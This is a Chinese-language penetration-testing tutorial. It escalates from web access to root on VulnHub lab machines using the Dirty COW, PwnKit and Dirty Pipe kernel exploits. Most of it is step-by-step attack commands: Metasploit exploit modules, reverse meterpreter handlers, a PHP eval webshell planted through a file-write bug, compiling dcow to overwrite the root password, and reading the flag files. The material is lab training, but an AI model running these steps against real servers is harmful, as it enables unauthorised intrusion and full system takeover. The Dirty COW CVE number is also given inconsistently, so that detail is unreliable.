Linux权限提升-内核溢出
➢ Web到Linux-内核溢出
#权限认知
系统⽤户:UID(0-999)
普通⽤户:UID(1000-*)
root⽤户:UID为0,拥有系统的完全控制权限
#信息收集
当前主机的操作系统
hostnamectl
cat /etc/*-release
lsb_release -a
cat /etc/lsb-release # Debain
cat /etc/redhat-release # Redhat
cat /etc/centos-release # Centos
cat /etc/os-release # Ubuntu
cat /etc/issue
当前主机的内核版本
hostnamectl
uname -a
cat /proc/version
dmesg | grep "Linux version"
实例
└─# uname -a
➢ Web到Linux-提权项目
#内核漏洞筛选:
MSF检测:(不好⽤)
run post/multi/recon/local_exploit_suggester
提权脚本:(只针对内核漏洞检测)
https://github.com/liamg/traitor
https://github.com/The-Z-Labs/linux-exploit-suggester
https://github.com/jondonas/linux-exploit-suggester-2
https://github.com/belane/linux-soft-exploit-suggester
有py、pl、sh脚本推荐sh脚本
综合脚本:(含提权内核漏洞和配置不当⽐如suid等提取检测,但是不完整)
https://github.com/carlospolop/PEASS-ng
https://github.com/diego-treitos/linux-smart-enumeration
https://github.com/redcode-labs/Bashark
https://github.com/rebootuser/LinEnum
#应用场景:
获取到Web权限在Linux服务器上时进⾏的内核漏洞提权
#常见内核漏洞案例:
windows是⼟⾖系,linux是脏⽜系。
dirtycow(CVE-2016-5159)
Pwnkit (CVE-2021-4034)
Dirty Pipe(CVE-2022-0847)
SUDO (CVE-2021-3156)
⼤脏⽜ (CVE-2017–1000405)
CVE-2017-16995
CVE-2021-3560
CVE-2023-1829
CVE-2022-2588
CVE-2021-3493
CVE-2022-32250
CVE-2023-3269
CVE-2022-0995
CVE-2022-2639
CVE-2023-0386
...
➢ Web到Linux-内核溢出Dcow
1. 简要步骤
复现环境:https://www.vulnhub.com/entry/lampiao-1,249/
1、信息收集:
nmap -p1-65535 192.168.139.0/24
2、Web漏洞利⽤:
search drupal
use exploit/unix/webapp/drupal_drupalgeddon2
set rhost 192.168.46.144
set rport 1898
run
3、内核提权:
upload /root/linux-exploit-suggester.sh /tmp/1.sh
shell
cd /tmp
chmod +x 1.sh
./1.sh
https://github.com/gbonacini/CVE-2016-5195
upload /root/dcow.cpp /tmp/dcow.cpp
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil
python -c 'import pty; pty.spawn("/bin/bash")'
./dcow
su root
2. 详细过程
复现环境:https://www.vulnhub.com/entry/lampiao-1,249/
解压Lampiao.zip导⼊虚拟机即可
2.1. 信息收集:
# 探测⽬标ip及开发端⼝
└─# nmap -p1-65535 192.168.197.0/24
# 为了节省时间不进⾏全端⼝扫描
└─# nmap 192.168.197.0/24
发现⽬标http://192.168.197.146/同时也该ip也开放了1898端⼝http://192.168.197.146:1898/
发现该⽹址是Drupal编写,所以我们进⼊msf进⾏查找是否有漏洞利⽤模块
用Tide指纹探测工具探测出
该网站漏洞编码为cve-2018-7600
2.2. Web漏洞利用:
# 查找drupal相关漏洞
search drupal
# 进⾏漏洞利⽤
use exploit/unix/webapp/drupal_drupalgeddon2
set rhost 192.168.197.146
set rport 1898
run
成功获取到⽬标主机权限
2.3. 内核提权:
# 上传内核漏洞检测脚本
upload /root/linux-exploit-suggester-master/linux-exploit-suggester.sh /tmp/1.sh
# 进⼊shell,并执⾏提权辅助脚本
shell
cd /tmp
chmod +x 1.sh
./1.sh
https://github.com/gbonacini/CVE-2016-5195
# 发现提权漏洞,上传提权利⽤程序dcow.cpp到服务器
exit
upload /root/dcow.cpp /tmp/dcow.cpp
# 进⾏提权操作
shell
cd /tmp
# 编译漏洞利⽤程序成功后会在当前⽬录⽣成dcow
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil
ls
# 由于本身的终端问题,所以使⽤python终端
python -c 'import pty; pty.spawn("/bin/bash")'
./dcow
# 漏洞利⽤成功后使⽤root⽤户密码dirtyCowFun进⾏登录即可
su root
whoami
成功利⽤漏洞修改root密码为dirtyCowFun
成功登录root账号
➢Web到Linux-内核溢出Pwnkit
1. 简要步骤
复现环境:https://www.vulnhub.com/entry/darkhole-1,724/
1、信息收集:
nmap -p1-65535 192.168.139.0/24
2、Web漏洞利⽤:
重置管理密码-上传1.phtml-反弹MSF
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 6666
run
3、内核提权
upload /root/linux-exploit-suggester.sh /tmp/1.sh
shell
cd /tmp
chmod +x 1.sh
./1.sh
search cve_2021_4034
use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
set session x
run
getuid
shell
cd /root
cat root.txt
2.详细步骤
复现环境:https://www.vulnhub.com/entry/darkhole-1,724/
解压DarkHole.zip导⼊虚拟机即可。
2.1. 信息收集:
# 探测⽬标ip及开发端⼝
└─# nmap -p1-65535 192.168.139.0/24
# 为了节省时间不进⾏全端⼝扫描
└─# nmap 192.168.220.0/24
2.2. Web漏洞利⽤:
2.2.1. 重置管理密码
使⽤注册⽤户登录,并重置密码,发现数据包中有id=2
城市修改id=1进⾏管理员密码重置并使⽤admin/123456进⾏登录
2.2.2. 上传1.phtml
发现管理员后台有⼀个上传点,直接上传后缀为.phtml后缀的哥斯拉php⽊⻢。
哥斯拉连接⼀句话⽊⻢
192.168.197.147/upload/1.phtml
2.2.3. 反弹MSF
将内核检测脚本和综合检测脚本都上传到⽬标服务器的/tmp⽬录
进⾏提权漏洞检测,发现哥斯拉上执⾏提权辅助脚本后容易卡死,⽽且出现结果后很乱
cd /tmp
chmod +x linpeas.sh
chmod +x linux-exploit-suggester.sh
./linpeas.sh
所以我们使⽤msf的反弹shell⽐较好
# 启动msf
└─# msfdb run
# 监听本地6666端⼝等待php反弹后⻔连接
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 6666
run
进⼊哥斯拉反弹模块即可
2.3. 内核提权
# 上传提权辅助脚本
upload /root/linux-exploit-suggester.sh /tmp/linux-exploit-suggester.sh
upload /root/linpeas.sh /tmp/linpeas.sh
# 进⼊shell
shell
cd /tmp
chmod +x linpeas.sh
chmod +x linux-exploit-suggester.sh
# 综合辅助脚本
./linpeas.sh
# 内核辅助脚本
./linux-exploit-suggester.sh
MSF检测:(不好⽤)
# 退出shell
exit
# 保存会话到后台
background
# 使⽤msf⾃带检测模块
use post/multi/recon/local_exploit_suggester
set SESSION 1
run
msf的该模块不太好⽤,没检测到,不如我们上述的两个项⽬。该模块类似windows⾃动提权的模块
cve_2021_4034提权漏洞利⽤
# 查找漏洞利⽤模块
search cve_2021_4034
# 使⽤提权漏洞利⽤模块
use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
set session 1
run
# 在获取的shell中查看当前⽤户权限
getuid
shell
cd /root
cat root.txt
➢Web到Linux-内核溢出-DirtyPipe
1.简要步骤
#Linux系统提权-Web&内核溢出-DirtyPipe
https://www.vulnhub.com/entry/matrix-breakout-2-morpheus,757/
1、信息收集:
nmap -p1-65535 192.168.139.0/24
2、Web漏洞利⽤
扫描发现-抓包分析-⽂件写⼊-反弹MSF
gobuster dir -u http://192.168.139.146 -x php,bak,txt,html -w /usr/share/d
irbuster/wordlists/directory-list-2.3-medium.txt
message=<?php eval($_POST["pass"]);?>&file=xd.php
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 6666
run
3、内核提权
upload /root/linux-exploit-suggester.sh /tmp/1.sh
shell
cd /tmp
chmod +x 1.sh
./1.sh
search cve_2022_0847
use exploit/linux/local/cve_2022_0847_dirtypipe
set session x
set lhost xx.xx.xx.xx
run
#补充
CVE-2023-0386
https://mp.weixin.qq.com/s/Z6sVuMrYMZV8WD6z1-U95Q
2.详细步骤
复现环境:https://www.vulnhub.com/entry/matrix-breakout-2-morpheus,757/
导⼊matrix-breakout-2-morpheus.ova到虚拟机即可
2.1. 信息收集:
# 探测⽬标ip及开发端⼝
└─# nmap -p1-65535 192.168.139.0/24
# 为了节省时间不进⾏全端⼝扫描
└─# nmap 192.168.220.0/24
2.2. Web漏洞利用
2.2.1. 目录扫描
使⽤御剑也⾏,重点是字典⾥有
└─# apt install gobuster
└─# gobuster dir -u http://192.168.220.159 -x php,bak,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
发现敏感⽂件
2.2.2. 抓包分析
访问http://192.168.220.159/graffiti.php进⾏功能测试并抓包
发现post部分有graffiti.txt访问测试下http://192.168.220.159/graffiti.txt
发现1111是我们写⼊的内容,graffiti.txt是⽂件名
2.2.3. 文件写入
那么我们可以尝试写⼊⼀句话⽊⻢到php⽂件
# ⼀句话⽊⻢
<?php eval($_POST["pass"]);
# ⼀句话⽊⻢
message=%3C%3Fphp+eval%28%24_POST%5B%22pass%22%5D%29%3B&file=rsec.php
发送恶意代码,并使⽤哥斯拉连接http://192.168.220.159/rsec.php
2.2.4. 反弹MSF
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 6666
run
使⽤哥斯拉反弹到msf
2.3. 内核提权
# 上传提权内核漏洞检测辅助脚本
upload /root/linux-exploit-suggester.sh /tmp/1.sh
# 进⼊shell进⾏提权漏洞检测
shell
cd /tmp
chmod +x 1.sh
./1.sh
# 退出shell模式
exit
# 保存会话到后台
background
# 查找漏洞利⽤程序,如果msf没有再去别的地⽅查找
search cve_2022_0847
use exploit/linux/local/cve_2022_0847_dirtypipe
set session x
# 注意设置0.0.0.0容易失败
set lhost 192.168.197.135
run
getuid
shell
cat /root/FLAG.txt
2.4. #补充
CVE-2023-0386
https://mp.weixin.qq.com/s/Z6sVuMrYMZV8WD6z1-U95Q